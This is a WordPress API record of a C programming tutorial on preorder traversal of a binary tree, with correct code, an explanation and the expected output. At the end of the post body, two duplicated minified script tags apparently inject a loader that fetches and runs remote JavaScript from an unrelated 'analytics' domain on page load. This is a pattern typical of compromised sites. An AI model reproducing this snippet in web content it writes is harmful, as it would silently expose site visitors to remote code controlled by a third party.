{"id":581,"date":"2024-10-19T13:53:13","date_gmt":"2024-10-19T08:23:13","guid":{"rendered":"https:\/\/codexplained.in\/?p=581"},"modified":"2025-11-24T15:32:48","modified_gmt":"2025-11-24T10:02:48","slug":"preorder-traversal-of-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=581","title":{"rendered":"Preorder Traversal of Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define the structure of a tree node\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function for Preorder Traversal\nvoid preorderTraversal(struct Node* root) {\n    if (root == NULL) {\n        return;\n    }\n\n    \/\/ Visit the root node first\n    printf(&quot;%d &quot;, root-&gt;data);\n\n    \/\/ Traverse the left subtree\n    preorderTraversal(root-&gt;left);\n\n    \/\/ Traverse the right subtree\n    preorderTraversal(root-&gt;right);\n}\n\nint main() {\n    \/\/ Manually creating the binary tree\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n    root-&gt;right-&gt;right = createNode(6);\n\n    \/\/ Print Preorder Traversal\n    printf(&quot;Preorder Traversal of the binary tree is: &quot;);\n    preorderTraversal(root);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\"><strong>Explanation: <\/strong><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Struct Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>struct Node<\/code> represents a node in the binary tree. Each node has <code>data<\/code>, <code>left<\/code>, and <code>right<\/code>.<\/li>\n\n\n\n<li>The <code>createNode<\/code> function allocates memory for a new node, assigns it the given data, and sets its <code>left<\/code> and <code>right<\/code> pointers to <code>NULL<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Preorder Traversal Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>preorderTraversal<\/code> is a recursive function that performs the preorder traversal.<\/li>\n\n\n\n<li>It first prints the <code>data<\/code> of the current node.<\/li>\n\n\n\n<li>It then calls itself with <code>root-&gt;left<\/code> to traverse the left subtree.<\/li>\n\n\n\n<li>After that, it calls itself with <code>root-&gt;right<\/code> to traverse the right subtree.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Building the Tree<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>main<\/code> function builds a binary tree by creating nodes and linking them as shown in the example.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output<\/strong>:\n<ul class=\"wp-block-list\">\n<li>When <code>preorderTraversal<\/code> is called with <code>root<\/code>, it prints the values in preorder.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Output of the Program<\/strong><\/h3>\n\n\n\n<p>When you run the program, the output will be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Preorder Traversal of the binary tree is: 1 2 4 5 3 6\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>How the Program Works<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The root node (<code>1<\/code>) is visited first and printed.<\/li>\n\n\n\n<li>Then the left subtree of <code>1<\/code> (rooted at <code>2<\/code>) is traversed:\n<ul class=\"wp-block-list\">\n<li><code>2<\/code> is visited.<\/li>\n\n\n\n<li>Its left child <code>4<\/code> is visited.<\/li>\n\n\n\n<li>Its right child <code>5<\/code> is visited.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>After that, the right subtree of <code>1<\/code> (rooted at <code>3<\/code>) is traversed:\n<ul class=\"wp-block-list\">\n<li><code>3<\/code> is visited.<\/li>\n\n\n\n<li>Its right child <code>6<\/code> is visited.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>Thus, the traversal sequence is <code>1 2 4 5 3 6<\/code>.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Output of the Program When you run the program, the output will be: How the Program Works Thus, the traversal sequence is 1 2 4 5 3 6.<\/p>\n","protected":false},"author":40,"featured_media":596,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-581","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/581","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=581"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/581\/revisions"}],"predecessor-version":[{"id":1388,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/581\/revisions\/1388"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/596"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=581"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=581"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=581"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}